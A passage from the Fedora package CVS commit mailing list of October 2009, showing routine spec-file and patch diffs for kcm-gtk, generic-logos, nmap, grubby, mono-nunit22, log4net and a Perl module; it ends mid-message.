retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	26 Oct 2009 20:27:03 -0000	1.2
+++ .cvsignore	30 Oct 2009 17:49:01 -0000	1.3
@@ -1 +1 @@
-kcm-gtk_0.5.1.orig.tar.gz
+kcm-gtk_0.5.3.orig.tar.gz


Index: kcm-gtk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/F-12/kcm-gtk.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kcm-gtk.spec	26 Oct 2009 20:27:03 -0000	1.1
+++ kcm-gtk.spec	30 Oct 2009 17:49:01 -0000	1.2
@@ -3,23 +3,30 @@
 
 Summary: Configure the appearance of GTK apps in KDE 
 Name:    kcm-gtk 
-Version: 0.5.1 
-Release: 2%{?dist}
+Version: 0.5.3
+Release: 1%{?dist}
 
 License: GPLv2+
 Group:   User Interface/Desktops
 URL:     https://launchpad.net/kcm-gtk 
-Source0: http://launchpad.net/kcm-gtk/trunk/0.5.1/+download/kcm-gtk_%{version}.orig.tar.gz 
+Source0: http://launchpad.net/kcm-gtk/0.5.x/%{version}/+download/kcm-gtk_%{version}.orig.tar.gz 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
+# set GTK2_RC_FILES=~/.gtkrc-2.0-kde4
+Source1: kcm-gtk.sh
+
 ## upstreamable patches
 # Categories += Settings, else doesn't appear in systemsettings anywhere (?)
 Patch50: kcm-gtk-0.5.1-settings_category.patch
+# ensures GTK2_RC_FILES gets used/updated on first use, avoids 
+# possible need for logout/login, code borrowed from kdebase-workspace's krdb.cpp
+Patch51: kcm-gtk-0.5.3-gtkrc_setenv.patch
 
 %if 0%{?fedora} > 11
 Obsoletes: gtk-qt-engine <= 1:1.1
 %endif
 
+BuildRequires: gettext
 BuildRequires: kdelibs4-devel
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
@@ -32,6 +39,7 @@ appearance of GTK apps in KDE.
 %setup -q 
 
 %patch50 -p1 -b .settings_category
+%patch51 -p1 -b .gtkrc_setenv
 
 
 
@@ -50,20 +58,29 @@ rm -rf %{buildroot} 
 
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
+%find_lang kcm_gtk
+
+install -p -m644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/kde/env/kcm-gtk.sh
+
 
 %clean
 rm -rf %{buildroot} 
 
 
-%files 
+%files -f kcm_gtk.lang
 %defattr(-,root,root,-)
 %doc Changelog COPYING
+%{_sysconfdir}/kde/env/kcm-gtk.sh
 %{_kde4_libdir}/kde4/kcm_gtk.so
 %{_kde4_iconsdir}/kcm_gtk.png
 %{_kde4_datadir}/kde4/services/kcmgtk.desktop
 
 
 %changelog
+* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.3-1
+- kcm-gtk-0.5.3
+- .gtkrc-2.0-kde4 doesn't get used (#531788)
+
 * Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.1-2
 - Requires: kde4-macros(api)...
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	26 Oct 2009 20:27:04 -0000	1.2
+++ sources	30 Oct 2009 17:49:01 -0000	1.3
@@ -1 +1 @@
-adc2d8dd60aa74a744a89860b903b0b0  kcm-gtk_0.5.1.orig.tar.gz
+b49e2df3cce3bcb8c6dc96e7af73716d  kcm-gtk_0.5.3.orig.tar.gz



From rdieter at fedoraproject.org  Fri Oct 30 17:51:27 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 30 Oct 2009 17:51:27 +0000 (UTC)
Subject: rpms/kcm-gtk/F-11 kcm-gtk-0.5.3-gtkrc_setenv.patch, NONE,
	1.1 kcm-gtk.sh, NONE, 1.1 .cvsignore, 1.2, 1.3 kcm-gtk.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091030175127.C63D711C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kcm-gtk/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9291

Modified Files:
	.cvsignore kcm-gtk.spec sources 
Added Files:
	kcm-gtk-0.5.3-gtkrc_setenv.patch kcm-gtk.sh 
Log Message:
* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.3-1
- kcm-gtk-0.5.3
- .gtkrc-2.0-kde4 doesn't get used (#531788)


kcm-gtk-0.5.3-gtkrc_setenv.patch:
 gtkrcfile.cpp |   10 ++++++++++
 1 file changed, 10 insertions(+)

--- NEW FILE kcm-gtk-0.5.3-gtkrc_setenv.patch ---
diff -up kcm-gtk-0.5.3/gtkrcfile.cpp.gtkrc_setenv kcm-gtk-0.5.3/gtkrcfile.cpp
--- kcm-gtk-0.5.3/gtkrcfile.cpp.gtkrc_setenv	2009-10-23 08:07:44.000000000 -0500
+++ kcm-gtk-0.5.3/gtkrcfile.cpp	2009-10-30 12:42:28.186035811 -0500
@@ -26,6 +26,8 @@
 #include <QTextStream>
 #include <QStringList>
 #include <QtDebug>
+#include <ktoolinvocation.h>
+#include <klauncher_iface.h>
 
 QRegExp GtkRcFile::k_themeNameRe("([^/]+)/gtk-2.0/gtkrc$");
 
@@ -134,6 +136,14 @@ void GtkRcFile::save()
 	stream << "\n";
 	stream << "gtk-theme-name=\"" << m_themeName << "\"\n";
 	stream << "gtk-font-name=\"" << fontName << "\"\n";
+	
+	QByteArray gtkrc = getenv("GTK2_RC_FILES");
+	QStringList list = QFile::decodeName(gtkrc).split( ':');
+	if (!list.contains(m_fileName)) {
+	  list.append(m_fileName);
+	  QString value = QFile::encodeName(list.join(":"));
+	  KToolInvocation::klauncher()->setLaunchEnv("GTK2_RC_FILES", value);
+	}
 }
 
 void GtkRcFile::setFont(const QString& family, int pointSize, bool bold, bool italic)


--- NEW FILE kcm-gtk.sh ---
#!/bin/sh

# Make sure our customised gtkrc file is loaded.
GTK2RC_KDE4=${HOME}/.gtkrc-2.0-kde4
if [ -z "${GTK2_RC_FILES}" ]; then
  GTK2_RC_FILES=${GTK2RC_KDE4}
elif ! echo ${GTK2_RC_FILES} | /bin/grep -q ${GTK2RC_KDE4} ; then
  GTK2_RC_FILES=${GTK2_RC_FILES}:${GTK2RC_KDE4}
fi
unset GTK2RC_KDE4

export GTK2_RC_FILES


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	29 Oct 2009 11:53:13 -0000	1.2
+++ .cvsignore	30 Oct 2009 17:51:26 -0000	1.3
@@ -1 +1 @@
-kcm-gtk_0.5.1.orig.tar.gz
+kcm-gtk_0.5.3.orig.tar.gz


Index: kcm-gtk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/F-11/kcm-gtk.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kcm-gtk.spec	29 Oct 2009 11:53:13 -0000	1.1
+++ kcm-gtk.spec	30 Oct 2009 17:51:26 -0000	1.2
@@ -3,23 +3,30 @@
 
 Summary: Configure the appearance of GTK apps in KDE 
 Name:    kcm-gtk 
-Version: 0.5.1 
-Release: 2%{?dist}
+Version: 0.5.3
+Release: 1%{?dist}
 
 License: GPLv2+
 Group:   User Interface/Desktops
 URL:     https://launchpad.net/kcm-gtk 
-Source0: http://launchpad.net/kcm-gtk/trunk/0.5.1/+download/kcm-gtk_%{version}.orig.tar.gz 
+Source0: http://launchpad.net/kcm-gtk/0.5.x/%{version}/+download/kcm-gtk_%{version}.orig.tar.gz 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
+# set GTK2_RC_FILES=~/.gtkrc-2.0-kde4
+Source1: kcm-gtk.sh
+
 ## upstreamable patches
 # Categories += Settings, else doesn't appear in systemsettings anywhere (?)
 Patch50: kcm-gtk-0.5.1-settings_category.patch
+# ensures GTK2_RC_FILES gets used/updated on first use, avoids 
+# possible need for logout/login, code borrowed from kdebase-workspace's krdb.cpp
+Patch51: kcm-gtk-0.5.3-gtkrc_setenv.patch
 
 %if 0%{?fedora} > 11
 Obsoletes: gtk-qt-engine <= 1:1.1
 %endif
 
+BuildRequires: gettext
 BuildRequires: kdelibs4-devel
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
@@ -32,6 +39,7 @@ appearance of GTK apps in KDE.
 %setup -q 
 
 %patch50 -p1 -b .settings_category
+%patch51 -p1 -b .gtkrc_setenv
 
 
 
@@ -50,20 +58,29 @@ rm -rf %{buildroot} 
 
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
+%find_lang kcm_gtk
+
+install -p -m644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/kde/env/kcm-gtk.sh
+
 
 %clean
 rm -rf %{buildroot} 
 
 
-%files 
+%files -f kcm_gtk.lang
 %defattr(-,root,root,-)
 %doc Changelog COPYING
+%{_sysconfdir}/kde/env/kcm-gtk.sh
 %{_kde4_libdir}/kde4/kcm_gtk.so
 %{_kde4_iconsdir}/kcm_gtk.png
 %{_kde4_datadir}/kde4/services/kcmgtk.desktop
 
 
 %changelog
+* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.3-1
+- kcm-gtk-0.5.3
+- .gtkrc-2.0-kde4 doesn't get used (#531788)
+
 * Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.1-2
 - Requires: kde4-macros(api)...
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	29 Oct 2009 11:53:13 -0000	1.2
+++ sources	30 Oct 2009 17:51:27 -0000	1.3
@@ -1 +1 @@
-adc2d8dd60aa74a744a89860b903b0b0  kcm-gtk_0.5.1.orig.tar.gz
+b49e2df3cce3bcb8c6dc96e7af73716d  kcm-gtk_0.5.3.orig.tar.gz



From spot at fedoraproject.org  Fri Oct 30 18:01:56 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 30 Oct 2009 18:01:56 +0000 (UTC)
Subject: rpms/generic-logos/F-12 .cvsignore, 1.10, 1.11 generic-logos.spec, 
	1.13, 1.14 sources, 1.11, 1.12
Message-ID: <20091030180157.0B63911C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/generic-logos/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12218/F-12

Modified Files:
	.cvsignore generic-logos.spec sources 
Log Message:
update to 12.1, add generic anaconda.png


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/generic-logos/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	1 Oct 2009 18:06:42 -0000	1.10
+++ .cvsignore	30 Oct 2009 18:01:55 -0000	1.11
@@ -1 +1 @@
-generic-logos-12.0.tar.bz2
+generic-logos-12.1.tar.bz2


Index: generic-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/generic-logos/F-12/generic-logos.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- generic-logos.spec	1 Oct 2009 18:06:42 -0000	1.13
+++ generic-logos.spec	30 Oct 2009 18:01:55 -0000	1.14
@@ -1,6 +1,6 @@
 Name: generic-logos
 Summary: Icons and pictures
-Version: 12.0
+Version: 12.1
 Release: 1%{?dist}
 Group: System Environment/Base
 Source0: generic-logos-%{version}.tar.bz2
@@ -61,6 +61,12 @@ for i in plymouth/charge/* ; do
     install -p -m 644 $i $RPM_BUILD_ROOT%{_datadir}/plymouth/themes/charge/
 done
 
+# File or directory names do not count as trademark infringement
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps/
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/scalable/apps/
+install -p -m 644 icons/Fedora/48x48/apps/* $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps/
+install	-p -m 644 icons/Fedora/scalable/apps/* $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/scalable/apps/
+
 (cd anaconda; make DESTDIR=$RPM_BUILD_ROOT install)
 
 %clean
@@ -71,6 +77,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING COPYING-kde-logo
 %{_datadir}/firstboot/themes/*
 %{_datadir}/anaconda/pixmaps/*
+%{_datadir}/icons/Fedora/*/apps/*
 %{_datadir}/pixmaps/*
 %{_datadir}/plymouth/themes/charge/*
 /usr/lib/anaconda-runtime/*.jpg
@@ -80,6 +87,9 @@ rm -rf $RPM_BUILD_ROOT
 # end i386 bits
 
 %changelog
+* Fri Oct 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.1-1
+- 12.1 (add generic versions of anaconda.png/svg)
+
 * Thu Oct  1 2009 Bill Nottingham <notting at redhat.com> - 12.0-1
 - update for F12 (<duffy at redhat.com>)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/generic-logos/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	1 Oct 2009 18:06:42 -0000	1.11
+++ sources	30 Oct 2009 18:01:55 -0000	1.12
@@ -1 +1 @@
-6fd16c93945a0e195fe1f03ddf3d06a7  generic-logos-12.0.tar.bz2
+247d09a2a9d738dc24fc3c1cb1b489d4  generic-logos-12.1.tar.bz2



From spot at fedoraproject.org  Fri Oct 30 18:01:57 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 30 Oct 2009 18:01:57 +0000 (UTC)
Subject: rpms/generic-logos/devel generic-logos.spec, 1.12, 1.13 sources,
	1.10, 1.11
Message-ID: <20091030180157.ABA6811C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/generic-logos/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12218/devel

Modified Files:
	generic-logos.spec sources 
Log Message:
update to 12.1, add generic anaconda.png


Index: generic-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/generic-logos/devel/generic-logos.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- generic-logos.spec	24 Jul 2009 23:50:33 -0000	1.12
+++ generic-logos.spec	30 Oct 2009 18:01:56 -0000	1.13
@@ -1,7 +1,7 @@
 Name: generic-logos
 Summary: Icons and pictures
-Version: 11.0.1
-Release: 2%{?dist}
+Version: 12.1
+Release: 1%{?dist}
 Group: System Environment/Base
 Source0: generic-logos-%{version}.tar.bz2
 License: GPLv2 and LGPL
@@ -61,6 +61,12 @@ for i in plymouth/charge/* ; do
     install -p -m 644 $i $RPM_BUILD_ROOT%{_datadir}/plymouth/themes/charge/
 done
 
+# File or directory names do not count as trademark infringement
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps/
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/scalable/apps/
+install -p -m 644 icons/Fedora/48x48/apps/* $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps/
+install	-p -m 644 icons/Fedora/scalable/apps/* $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/scalable/apps/
+
 (cd anaconda; make DESTDIR=$RPM_BUILD_ROOT install)
 
 %clean
@@ -71,6 +77,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING COPYING-kde-logo
 %{_datadir}/firstboot/themes/*
 %{_datadir}/anaconda/pixmaps/*
+%{_datadir}/icons/Fedora/*/apps/*
 %{_datadir}/pixmaps/*
 %{_datadir}/plymouth/themes/charge/*
 /usr/lib/anaconda-runtime/*.jpg
@@ -80,8 +87,11 @@ rm -rf $RPM_BUILD_ROOT
 # end i386 bits
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 11.0.1-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Fri Oct 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.1-1
+- 12.1 (add generic versions of anaconda.png/svg)
+
+* Thu Oct  1 2009 Bill Nottingham <notting at redhat.com> - 12.0-1
+- update for F12 (<duffy at redhat.com>)
 
 * Tue May 12 2009 Bill Nottingham <notting at redhat.com> - 11.0.1-1
 - Add new plymouth artwork (#500239)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/generic-logos/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	12 May 2009 18:37:58 -0000	1.10
+++ sources	30 Oct 2009 18:01:56 -0000	1.11
@@ -1 +1 @@
-8842fccabf09874110de7a7c769a2974  generic-logos-11.0.1.tar.bz2
+247d09a2a9d738dc24fc3c1cb1b489d4  generic-logos-12.1.tar.bz2



From spot at fedoraproject.org  Fri Oct 30 18:04:10 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 30 Oct 2009 18:04:10 +0000 (UTC)
Subject: rpms/mono-nunit22/F-12 mono-nunit22.spec,1.15,1.16
Message-ID: <20091030180410.684C411C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/mono-nunit22/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13751

Modified Files:
	mono-nunit22.spec 
Log Message:
rebuild


Index: mono-nunit22.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-nunit22/F-12/mono-nunit22.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- mono-nunit22.spec	26 Oct 2009 19:10:05 -0000	1.15
+++ mono-nunit22.spec	30 Oct 2009 18:04:09 -0000	1.16
@@ -2,7 +2,7 @@
 
 Name:	 	mono-nunit22
 Version:	2.2.10
-Release:	11%{?dist}
+Release:	12%{?dist}
 Summary:	Unit-testing framework for .NET
 URL:		http://www.nunit.org/
 License:	MIT with acknowledgement
@@ -78,6 +78,9 @@ rm -rf -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1:2.2.10-12
+- rebuild
+
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1:2.2.10-11
 - ExcludeArch sparc64  no mono
 



From mhlavink at fedoraproject.org  Fri Oct 30 18:07:53 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri, 30 Oct 2009 18:07:53 +0000 (UTC)
Subject: rpms/nmap/F-12 nmap.spec,1.58,1.59
Message-ID: <20091030180754.0D1B311C00E8@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/nmap/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15069

Modified Files:
	nmap.spec 
Log Message:
spec cleanup



Index: nmap.spec
===================================================================
RCS file: /cvs/extras/rpms/nmap/F-12/nmap.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- nmap.spec	21 Aug 2009 14:42:37 -0000	1.58
+++ nmap.spec	30 Oct 2009 18:07:53 -0000	1.59
@@ -1,3 +1,5 @@
+%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 Summary: Network exploration tool and security scanner
 Name: nmap
 Version: 5.00
@@ -26,7 +28,6 @@ BuildRequires: openssl-devel, gtk2-devel
 BuildRequires: desktop-file-utils
 
 %define pixmap_srcdir zenmap/share/pixmaps
-%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 %description
 Nmap is a utility for network exploration or security auditing.  It supports
@@ -37,13 +38,13 @@ and port specification, decoy scanning, 
 predictability characteristics, reverse-identd scanning, and more.
 
 %package frontend
-Summary: the GTK+ frontend for nmap
+Summary: The GTK+ front-end for nmap
 Group: Applications/System
 Requires: nmap = %{epoch}:%{version} gtk2 python >= 2.5 pygtk2 python-sqlite2 usermode
-BuildRequires: python >= 2.5 pygtk2-devel libpng-devel
+BuildRequires: python >= 2.5 python-devel pygtk2-devel libpng-devel
 %description frontend
-This package includes zenmap, a GTK+ frontend for nmap. The nmap package must
-be installed before installing nmap-frontend.
+This package includes zenmap, a GTK+ front-end for nmap. The nmap package must
+be installed before installing nmap front-end.
 
 %prep
 %setup -q
@@ -68,7 +69,7 @@ rm -f $RPM_BUILD_ROOT%{_bindir}/uninstal
 #use consolehelper
 rm -f $RPM_BUILD_ROOT%{_datadir}/applications/zenmap*.desktop
 rm -f $RPM_BUILD_ROOT%{_datadir}/zenmap/su-to-zenmap.sh
-ln -s /usr/bin/consolehelper $RPM_BUILD_ROOT%{_bindir}/zenmap-root
+ln -s consolehelper $RPM_BUILD_ROOT%{_bindir}/zenmap-root
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/pam.d \
 	$RPM_BUILD_ROOT%{_sysconfdir}/security/console.apps
 install -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/pam.d/zenmap-root
@@ -88,7 +89,10 @@ desktop-file-install --vendor nmap \
 
 #for .desktop and app icon
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/48x48/apps
-ln -s %{_datadir}/zenmap/pixmaps/zenmap.png $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/48x48/apps
+ln -s ../../../../zenmap/pixmaps/zenmap.png $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/48x48/apps
+
+#mv $RPM_BUILD_ROOT%{_datadir}/zenmap/locale/ $RPM_BUILD_ROOT%{_datadir}
+#%find_lang zenmap
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -107,10 +111,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/nmap
 %{_datadir}/ncat
 
-%files frontend
+%files frontend -f zenmap.lang
 %defattr(-,root,root)
-%config %{_sysconfdir}/pam.d/zenmap-root
-%config %{_sysconfdir}/security/console.apps/zenmap-root
+%config(noreplace) %{_sysconfdir}/pam.d/zenmap-root
+%config(noreplace) %{_sysconfdir}/security/console.apps/zenmap-root
 %{_bindir}/zenmap-root
 %{_bindir}/zenmap
 %{_bindir}/nmapfe



From pjones at fedoraproject.org  Fri Oct 30 18:15:53 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Fri, 30 Oct 2009 18:15:53 +0000 (UTC)
Subject: rpms/grubby/devel .cvsignore, 1.11, 1.12 grubby.spec, 1.10,
	1.11 sources, 1.11, 1.12
Message-ID: <20091030181554.30B2311C00E8@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/grubby/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16867

Modified Files:
	.cvsignore grubby.spec sources 
Log Message:
* Fri Oct 30 2009 Peter Jones <pjones at redhat.com> - 7.0.9-1
- Add support for dracut to installkernel (notting)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/grubby/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	1 Oct 2009 08:13:23 -0000	1.11
+++ .cvsignore	30 Oct 2009 18:15:53 -0000	1.12
@@ -1,2 +1,2 @@
 clog
-grubby-7.0.8.tar.bz2
+grubby-7.0.9.tar.bz2


Index: grubby.spec
===================================================================
RCS file: /cvs/extras/rpms/grubby/devel/grubby.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- grubby.spec	1 Oct 2009 08:13:23 -0000	1.10
+++ grubby.spec	30 Oct 2009 18:15:53 -0000	1.11
@@ -1,5 +1,5 @@
 Name: grubby
-Version: 7.0.8
+Version: 7.0.9
 Release: 1%{?dist}
 Summary: Command line tool for updating bootloader configs
 Group: System Environment/Base
@@ -49,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Peter Jones <pjones at redhat.com> - 7.0.9-1
+- Add support for dracut to installkernel (notting)
+
 * Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> - 7.0.8-1
 - Stop using nash
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/grubby/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	1 Oct 2009 08:13:23 -0000	1.11
+++ sources	30 Oct 2009 18:15:53 -0000	1.12
@@ -1 +1 @@
-17c3bda679f3a92f4e4c773e373e309e  grubby-7.0.8.tar.bz2
+528ec764649eaefcdb600b75be2d36e0  grubby-7.0.9.tar.bz2



From iarnell at fedoraproject.org  Fri Oct 30 18:34:17 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Fri, 30 Oct 2009 18:34:17 +0000 (UTC)
Subject: rpms/perl-DateTime-Format-Natural/devel .cvsignore, 1.8,
	1.9 perl-DateTime-Format-Natural.spec, 1.9, 1.10 sources, 1.8, 1.9
Message-ID: <20091030183417.499C911C00E8@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-DateTime-Format-Natural/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21966

Modified Files:
	.cvsignore perl-DateTime-Format-Natural.spec sources 
Log Message:
* Fri Oct 30 2009 Iain Arnell <iarnell at gmail.com> 0.80-1
- update to latest upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-DateTime-Format-Natural/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	20 Sep 2009 07:26:44 -0000	1.8
+++ .cvsignore	30 Oct 2009 18:34:15 -0000	1.9
@@ -1 +1 @@
-DateTime-Format-Natural-0.79.tar.gz
+DateTime-Format-Natural-0.80.tar.gz


Index: perl-DateTime-Format-Natural.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-DateTime-Format-Natural/devel/perl-DateTime-Format-Natural.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- perl-DateTime-Format-Natural.spec	20 Sep 2009 07:26:44 -0000	1.9
+++ perl-DateTime-Format-Natural.spec	30 Oct 2009 18:34:16 -0000	1.10
@@ -1,5 +1,5 @@
 Name:           perl-DateTime-Format-Natural
-Version:        0.79
+Version:        0.80
 Release:        1%{?dist}
 Summary:        Create machine readable date/time with natural parsing logic
 License:        GPL+ or Artistic
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Iain Arnell <iarnell at gmail.com> 0.80-1
+- update to latest upstream version
+
 * Sun Sep 20 2009 Iain Arnell <iarnell at gmail.com> 0.79-1
 - update to latest upstream version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-DateTime-Format-Natural/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	20 Sep 2009 07:26:44 -0000	1.8
+++ sources	30 Oct 2009 18:34:16 -0000	1.9
@@ -1 +1 @@
-abfa205e722e0f6c70f59bc8f38358a6  DateTime-Format-Natural-0.79.tar.gz
+27769ae3973bc0c8e0322bc9830d733f  DateTime-Format-Natural-0.80.tar.gz



From spot at fedoraproject.org  Fri Oct 30 19:27:52 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 30 Oct 2009 19:27:52 +0000 (UTC)
Subject: rpms/log4net/F-12 log4net.spec,1.7,1.8
Message-ID: <20091030192752.90AEF11C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/log4net/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3123

Modified Files:
	log4net.spec 
Log Message:
rebuild


Index: log4net.spec
===================================================================
RCS file: /cvs/pkgs/rpms/log4net/F-12/log4net.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- log4net.spec	26 Oct 2009 19:14:27 -0000	1.7
+++ log4net.spec	30 Oct 2009 19:27:50 -0000	1.8
@@ -16,7 +16,7 @@ URL:		http://logging.apache.org/log4net/
 License:	ASL 2.0
 Group:		System Environment/Libraries
 Version:	1.2.10
-Release:	8%{?dist}
+Release:	9%{?dist}
 Summary:	A .NET framework for logging
 Source:		http://cvs.apache.org/dist/incubator/log4net/1.2.10/incubating-log4net-1.2.10.zip
 Source1:	log4net.pc
@@ -80,6 +80,9 @@ gacutil -i bin/mono/1.0/release/log4net.
 
 
 %changelog
+* Fri Oct 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.2.10-9
+- rebuild again for nant
+
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.2.10-8
 - Exclude sparc64  no mono
 



From kkofler at fedoraproject.org  Fri Oct 30 19:44:25 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri, 30 Oct 2009 19:44:25 +0000 (UTC)
Subject: rpms/kdepim/F-10 kdepim-4.3.2-unbreak-ktimetracker.patch, NONE,
	1.1 kdepim.spec, 1.221, 1.222
Message-ID: <20091030194425.DA5D211C00E8@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdepim/F-10
